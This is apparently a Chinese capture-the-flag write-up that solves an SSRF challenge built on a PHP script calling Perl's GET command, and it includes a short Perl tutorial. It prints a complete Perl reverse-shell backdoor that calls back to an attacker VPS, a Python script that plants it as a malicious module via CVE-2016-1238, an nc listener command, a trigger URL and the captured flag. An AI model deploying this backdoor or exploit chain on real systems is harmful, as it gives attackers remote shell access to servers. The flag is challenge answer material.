从SSRF到Perl脚本漏洞

题目链接

ssrf

给了一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

首先创建一个沙盒文件夹,然后在这个文件夹环境下执行命令:GET+参数

主要接受两个参数,一个是url(上面get的参数),另一个是filename。

具体过程是通过GET命令获得url界面的内容(如果是网页或php,则是解析后的),然后将获得内容写到提供的filename里面。filename是一个目录加文件名的形式,如/123/111.php:

1
2
$info:array(4) { ["dirname"]=> string(4) "/123" ["basename"]=> string(7) "111.php" ["extension"]=> string(3) "php" ["filename"]=> string(3) "111" }
dir--->123

如果是多级目录,如/var/www/html/123/111.php,由于 basename($info[“basename”]) ,$dir只会取最低目录,所以dir还是123:

1
2
$info:array(4) { ["dirname"]=> string(17) "/var/www/html/123" ["basename"]=> string(7) "111.php" ["extension"]=> string(3) "php" ["filename"]=> string(3) "111" }
dir--->123

本来是可以通过在远程服务器写一个文本,文本里是小马,然后通过GET远程将小马内容写到目标服务器上。但是写进去之后php并不会被解析,原因是sandbox目录。在这个沙箱目录里,php不会被解析。于是自然想到逃逸出这个目录。

在创建$dir目录时,这个参数是我们可以控制的,于是想到构造这样的filename—>../../123/111.php。但是str_replace函数对点进行了过滤,无法返回上级目录。

换一种姿势

之前测试用的payload是这个格式的(本地环境搭建的)

http://172.20.10.4/ssrf.php?filename=/123/111.php&url=xxxx

发现url可以读取本地目录,比如url=/etc/passwd(没啥东西)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
orange:x:1000:1000::/home/orange:/bin/bash

读取根目录,首先在kali里面试了

1
GET ~

可以得到本地根目录内容。但是php脚本中,escapeshellarg() 函数自动将传入的参数加上了引号,变成了

1
GET `~` //返回400 URL must be absolute=

换个姿势:

1
url=file:/

成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<HTML>
<HEAD>
<TITLE>Directory /</TITLE>
<BASE HREF="file:/">
</HEAD>
<BODY>
<H1>Directory listing of /</H1>
<UL>
<LI><A HREF="./">./</A>
<LI><A HREF="../">../</A>
<LI><A HREF=".dockerenv">.dockerenv</A>
<LI><A HREF="bin/">bin/</A>
<LI><A HREF="boot/">boot/</A>
<LI><A HREF="dev/">dev/</A>
<LI><A HREF="etc/">etc/</A>
<LI><A HREF="flag">flag</A>
<LI><A HREF="home/">home/</A>
<LI><A HREF="lib/">lib/</A>
<LI><A HREF="lib64/">lib64/</A>
<LI><A HREF="media/">media/</A>
<LI><A HREF="mnt/">mnt/</A>
<LI><A HREF="opt/">opt/</A>
<LI><A HREF="proc/">proc/</A>
<LI><A HREF="readflag">readflag</A>
<LI><A HREF="root/">root/</A>
<LI><A HREF="run/">run/</A>
<LI><A HREF="run.sh">run.sh</A>
<LI><A HREF="sbin/">sbin/</A>
<LI><A HREF="srv/">srv/</A>
<LI><A HREF="sys/">sys/</A>
<LI><A HREF="tmp/">tmp/</A>
<LI><A HREF="usr/">usr/</A>
<LI><A HREF="var/">var/</A>
</UL>
</BODY>
</HTML>

可以看到根目录下有flag和readflag两个文件,应该是通过执行readflag获取flag

学习大佬博客后,发现考点在 perl

https://www.jianshu.com/p/3f82685f56a8 (参看题解)

Perl语言与LWP

简介

Perl 是 Practical Extraction and Report Language 的缩写,可翻译为 “实用报表提取语言”。

Perl 借用了C、sed、awk、shell脚本以及很多其他编程语言的特性。

Perl 最重要的特性是Perl内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。

Perl 语言的应用范围很广,除CGI以外,Perl被用于图形编程、系统管理、网络编程、金融、生物以及其他领域。由于其灵活性,Perl被称为++脚本语言++中的瑞士军刀。

学习链接

安装

kali自带:perl -v

基本语法

  • Perl 程序由声明与语句组成,程序自上而下执行,包含了循环,条件控制,每个语句以分号 (;) 结束。没有缩进要求。
  • Perl文件以.pl结尾
  • Perl 有三个基本的数据类型:标量、数组、哈希。在使用时在变量的名字前面加上一个”$”,表示是标量,如:
    1
    $mysecond="123";   #字符串123

数组变量以字符”@”开头,索引从0开始,如:

1
@arr=(1,2,3)

哈希是一个无序的 key/value 对集合。可以使用键作为下标获取值。哈希变量以字符”%”开头。

1
%h=('a'=>1,'b'=>2);

  • 循环条件语句类似php或python,比较灵活
  • 文件操作:
    • open函数
    • sysopen函数
    • close函数
1
2
3
4
5
6
open(DATA, "<file.txt"); #使用 open 函数以只读的方式(<)打开文件 file.txt:
open(DATA, ">file.txt") or die "file.txt 文件无法打开, $!"; # >表示写入方式。
open(DATA, "+<file.txt"); #以读写方式打开文件,可以在 > 或 < 字符前添加 + 号
open(DATA,">>file.txt"); #>> 表示向现有文件的尾部追加数据,如果需要读取要追加的文件内容可以添加 + 号
#DATA为文件句柄用于读取文件
close(DATA)
1
2
3
4
5
6
#!/usr/bin/perl

open(DATA,"<import.txt") or die "无法打开数据";
@lines = <DATA>;
print @lines; # 输出数组内容
close(DATA);
  • 特殊变量

    Perl Socket 编程


    主要涉及到perl反弹shell)

    Perl面向对象

    面向对象有很多基础概念,这里我们接收三个:对象、类和方法。
    https://blog.csdn.net/yangfangjit/article/details/72904444(关于写一个类)

    对象:对象是对类中数据项的引用。.

    类:类是个Perl包,其中含提供对象方法的类。Perl 类的文件后缀为 .pm。

    方法:方法是个Perl子程序,类名是其第一个参数。

  • package 类名 —> 定义类/包名
  • sub 方法名 —> 定义方法
  • use/require 类名 —> 调用类(或者说载入一个模块)
  • new 类名() —> 创建对象
  • my —>声明一个局部变量
  • our —>声明一个全局变量
  • ……

从一个包中访问另外一个包的变量,可通过” 包名 + 双冒号( :: ) + 变量名 “ 的方式指定。

use和require在使用方式上是有区别的,详情百度。

关于perl的类、包、模块 —> http://blog.chinaunix.net/uid-27464093-id-3308003.html

LWP

LWP是Library for WWW access in Perl的缩写,是一个由多个模块组成,用来获取网络数据的的模块组。 关于LWP的话,已经有专门的书了,内容比较复杂。。。这里做简单介绍

参考资料:perl中LWP与WEB的基本使用

为什么关注LWP呢,我们可以用man查一下GET这个命令,下面是一部分内容:

1
2
3
4
LWP-REQUEST(1p)      User Contributed Perl Documentation      LWP-REQUEST(1p)

NAME
lwp-request, GET, POST, HEAD - Simple command line user agent


关于这道题,考查的是perl5的CVE-2016-1238 ,当解析遇到了非定义的协议(定义的协议在perl5/LWP/Protocol文件夹下可以看到, 默认支持GHTTP、cpan、data、file、ftp、gopher、http、https、loopback、mailto、nntp、nogo协议)时, 会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块并尝试eval “require xxx” 这里我们的恶意pm模块就会被执行。
### 构造Perl后门
这里是利用上面的漏洞向目录中写入恶意pm包,然后通过访问未知协议触发恶意脚本,反弹shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote = $ARGV[0] || "vps的ip地址";
my $remote_port = $ARGV[1] || 1988;
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
$ARGC = @ARGV;

if ( $ARGV[0] !~ /-/ ) {
socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') )
or die "socket error: ";
STDOUT->autoflush(1);
SOCKET->autoflush(1);
$conn = connect( SOCKET, $pack_addr ) || die "connection error : $!";
open STDIN, ">&SOCKET";
open STDOUT, ">&SOCKET";
open STDERR, ">&SOCKET";
print "You are in $path\n";
print "Welcome to use.\n";
print "console>\n";

while (<STDIN>) {
chomp;
if ( lc($_) eq 'exit' ) {
print " Bye Bye!";
exit;
}
$msg = system($_);
if ($msg) {
print STDOUT "\n$msg\n";
print STDOUT "console>";
}
else {
print "console>";
}
}
close SOCKET;
exit;
}

攻击实施步骤:

  1. 准备恶意pm包:首先要在自己vps上写好perl后门,确保服务器能访问到(国外的可能被墙)
  2. 下载后门:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding:utf-8

import requests
import hashlib

url='http://117.50.3.97:8004/'

dir1='orange'+'发起请求ip地址';

hl = hashlib.md5()
hl.update(dir1.encode(encoding='utf-8'))

payload='?filename=/URI/e0145f75.pm&url=pm包地址' #e0145f75为随意构造的未知协议

response = requests.get(url+payload)

print response.text
  1. vps监听端口

    1
    nc -vv -l -p 1988  //vps上监听端口
  2. 发起url请求触发漏洞:

    1
    http://117.50.3.97:8004/?filename=xxxxxx&url=e0145f75://123
  3. vps上收到反弹shell,执行根目录readflag,
    获得flag{d9faf0e7-6152-48be-8c5c-479c9681bcf3}